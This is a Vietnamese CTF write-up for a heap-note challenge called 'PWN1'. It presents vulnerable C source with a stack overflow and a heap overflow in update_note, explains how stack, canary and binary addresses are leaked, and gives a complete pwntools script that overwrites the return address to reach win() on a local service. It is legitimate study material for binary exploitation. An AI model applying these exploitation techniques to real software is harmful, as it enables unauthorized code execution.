PWN1

December 13, 2025 December 12, 2025 Medium
Author Author Hung Nguyen Tuong

Setup

Đầu tiên mình setup docker, copy libc, ld, patch binary:

ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn1/public$ chmod +x ./run.sh
ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn1/public$ chmod +x service/warmup
ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn1/public$ ./run.sh
ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn1/public$ nc 0 9001
NOTE PROGRAM
1.Create new note
2.Update note
3.View note
Your choice :
ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn1/public/service$ docker cp 6806:/usr/lib/x86_64-linux-gnu/libc.so.6 .
Successfully copied 2.13MB to /home/ngtuonghung/ctfs/vcs_passport_2024/pwn1/public/service/.
ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn1/public/service$ docker cp 6806:/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 .

Recon

Mitigation

Source Code

typedef struct Note
{
    int id;
    char owner[20];
    char *date;
    char *state;
    char *message;
    struct Note *next;
} Note;
int update_note()
{
    int update_id = -1;
    char buffer[30];
    Note *tmp;
    if (head == NULL)
        return ERROR_INVALID_HEAD;

    printf("Enter note ID :");
    update_id = getInt();
    if (update_id == -1)
        return ERROR_INVALID_ID;

    for (tmp = head; tmp && tmp->id != update_id; tmp = tmp->next)
        ;
    if (tmp == NULL || tmp->id != update_id)
        return ERROR_INVALID_ID;
    // update options
    printf("\nUpdate options: \n1.Update Owner\n2.Update message\n3.Update state\n");

    int l = 0;
    printf("Your choice :");
    char c = getchoice();
    switch (c)
    {
    case UPDATE_OWNER:
        printf("Enter new name owner :");
        fgets(buffer, MAX_MESSAGE, stdin); // stack overflow
        l = strlen(buffer);
        memcpy(&tmp->owner, buffer, l); // heap overflow
        break;
    case UPDATE_MESSAGE:
        printf("Enter new message :");
        fgets(buffer, MAX_MESSAGE, stdin); // stack overflow
        l = strlen(buffer);
        if (tmp->message)
            free(tmp->message);
        tmp->message = malloc(l);
        if (tmp->message == NULL)
        {
            logErr(ERROR_MALLOC_FAIL);
            exit(0);
        }
        memcpy(tmp->message, buffer, l);
        break;

buffer chỉ có kích thước 30 byte, nhưng cho phép fgets đến MAX_MESSAGE = 200 bytes -> stack overflow, sau đó được copy vào buffer owner trong heap -> heap buffer overflow.

Solve

Trước hết mình lợi dụng heap buffer overflow để leak địa chỉ date, là biến trên stack được khởi tạo ở hàm main():

int main()
{
    init();
    char c;
    Note *tmp;
    head = NULL;
    id = 0;
    time_t t;
    time(&t);
    char date[100];
    snprintf(date, 100, "%s", ctime(&t));

Sau khi leak được địa chỉ stack, mình lại heap overflow ghi đè địa chỉ date thành địa chỉ + offset đến nơi chứa canary, gọi view note để leak canary. Tiếp tục overflow ghi đè địa chỉ date đến nơi chứa một địa chỉ binary -> bypass PIE.

Cuối cùng stack buffer overflow để ghi đè return address đến win().

Script

#!/usr/bin/env python3

from pwn import *

exe = ELF("warmup_patched", checksec=False)
libc = ELF("libc.so.6", checksec=False)
ld = ELF("ld-linux-x86-64.so.2", checksec=False)

context.terminal = ['tmux', 'splitw', '-h']
context.binary = exe

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

pa = lambda t, addr: print(f'{t}: {hex(addr)}')
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset

gdbscript = '''
b *update_note+307
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
        if args.DEBUG:
            context.log_level = 'debug'
        return p
    else:
        host = "localhost"
        port = 9001
        return remote(host, port)

p = conn()

def create_note(owner, message):
    slan(p, b'choice', 1)
    sla(p, b'owner', owner)
    sla(p, b'message', message)

def update_note(id, option, data):
    slan(p, b'choice', 2)
    slan(p, b'note ID', id)
    slan(p, b'choice', option)
    if option==1:
        sla(p, b'new name owner', data)
    else:
        sla(p, b'new message', data)

def view_note():
    slan(p, b'choice', 3)

create_note(b'note1', b'A')
create_note(b'note2', b'A') # Tránh message của note1 bị merge vào top chunk sau khi free

# Leak stack address
update_note(0, 1, b'A' * 19)
view_note()
ru(p, b'A' * 19 + b'\n')
stack_addr = leak_bytes(rn(p, 6))
pa("stack", stack_addr)
canary_addr = stack_addr + 0x138
pa("canary at", canary_addr)

# Leak canary
update_note(0, 1, flat(
    b'A' * 20,
    canary_addr + 1, # vì canary có byte đầu là null
    b'\0'
))
view_note()
ru(p, b'run at : ')
canary = u64(b'\0' + rn(p, 7))
pa("canary", canary)

# Leak binary
binary_addr = stack_addr + 0x168
pa("binary at", binary_addr)
update_note(0, 1, flat(
    b'A' * 20,
    binary_addr,
    b'\0'
))
view_note()
ru(p, b'run at : ')
binary = leak_bytes(rn(p, 6), 0x1801)
pa("binary", binary)

win = binary + 0x1443
pa("win", win)

# overwrite return address
update_note(0, 1, flat(
    b'A' * 8 * 5,
    canary,
    stack_addr,
    binary + 0x1311, # gadget for stack alignment
    win
))

ia(p)